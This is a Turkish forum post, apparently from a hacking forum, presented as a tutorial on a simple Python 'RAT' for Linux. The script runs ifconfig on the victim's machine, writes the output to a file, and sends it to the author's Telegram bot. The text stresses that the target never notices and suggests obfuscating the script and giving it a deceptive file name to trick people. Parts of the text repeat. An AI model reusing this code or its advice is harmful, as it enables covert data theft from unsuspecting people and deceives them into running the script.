Selamun Aleykum Hayırlı ramazanlar bugün python ile basit rat atma mantığını göstereceğim.
gerekli kütüphaneleri indirelim.
Linux ip rat;
Yukarıdaki kodları açıklamaya gelirsek ilk başta requests ve subprocess modüllerini aktarıyoruz. Token ve chat_id mizi girmemiz gerekiyor kendinize göre ayarlayabilirsiniz. Sonrasında ipbilgial_linux adlı fonksiyonumuzu tanımlıyoruz.
Ardından ip_info adlı bir veriye subprocess.run fonksiyonu ile kurbanın terminalde ifconfig çalıştırarak ip bilgilerini çıktı olarak alıyoruz. çıktı almamızda burda .stdout parametresi yardımcı oluyor. Çıktıyı linuxiphack.txt adlı dosyaya kayıt ediyoruz.
Tekrardan kurbanın terminalinde dosyanın realpath ile tam yolunu elde ediyoruz sonrasında requests ile dosyayı telegram adresimize gönderiyoruz.
Başarılı bir şekilde hedef kişinin ip adresini almayı başardık. ben sadece ip den örnek vermek istedim. marshall edip güzel bir dosya ismiyle kandıramayacağınız kişi az gerisi sizin hayal gücünüze kalmış..
Github adresimden cpu ve disk rat örneklerine ulaşabilirsiniz.
Github Bağlantıları
Sağlıcakla kalın.
gerekli kütüphaneleri indirelim.
Kod:
pip install requests
pip install subprocess
Linux ip rat;
Python:
import requests
import subprocess
TOKEN = "tokeniniz"
chat_id = "chat_id"
def ipbilgial_linux():
ip_info = subprocess.run(["ifconfig"], stdout=subprocess.PIPE, text=True)
çıktı = ip_info.stdout
with open("linuxiphack.txt", "w") as dosya:
dosya.write(çıktı)
dosyakonumu = subprocess.run(["realpath", "linuxiphack.txt"], stdout=subprocess.PIPE, text=True)
dosyakonumu_str = dosyakonumu.stdout.strip()
file_path = "linuxiphack.txt"
api = f"https://api.telegram.org/bot{TOKEN}/sendDocument"
with open(file_path, "rb") as file:
files = {"document": file_path}
response = requests.post(api, data={"chat_id": chat_id}, files={"document": open(file_path, "rb")})
if __name__ == "__main__":
ipbilgial_linux()
Yukarıdaki kodları açıklamaya gelirsek ilk başta requests ve subprocess modüllerini aktarıyoruz. Token ve chat_id mizi girmemiz gerekiyor kendinize göre ayarlayabilirsiniz. Sonrasında ipbilgial_linux adlı fonksiyonumuzu tanımlıyoruz.
Ardından ip_info adlı bir veriye subprocess.run fonksiyonu ile kurbanın terminalde ifconfig çalıştırarak ip bilgilerini çıktı olarak alıyoruz. çıktı almamızda burda .stdout parametresi yardımcı oluyor. Çıktıyı linuxiphack.txt adlı dosyaya kayıt ediyoruz.
Tekrardan kurbanın terminalinde dosyanın realpath ile tam yolunu elde ediyoruz sonrasında requests ile dosyayı telegram adresimize gönderiyoruz.
Gördüğünüz gibi hedef kişi farkında bile olamıyor ;
Peki ip bilgileri telegram adresimize geldimi? hemen kontrol edelim.
Peki ip bilgileri telegram adresimize geldimi? hemen kontrol edelim.
Başarılı bir şekilde hedef kişinin ip adresini almayı başardık. ben sadece ip den örnek vermek istedim. marshall edip güzel bir dosya ismiyle kandıramayacağınız kişi az gerisi sizin hayal gücünüze kalmış..
Github adresimden cpu ve disk rat örneklerine ulaşabilirsiniz.
Github Bağlantıları
Sağlıcakla kalın.
Son düzenleme: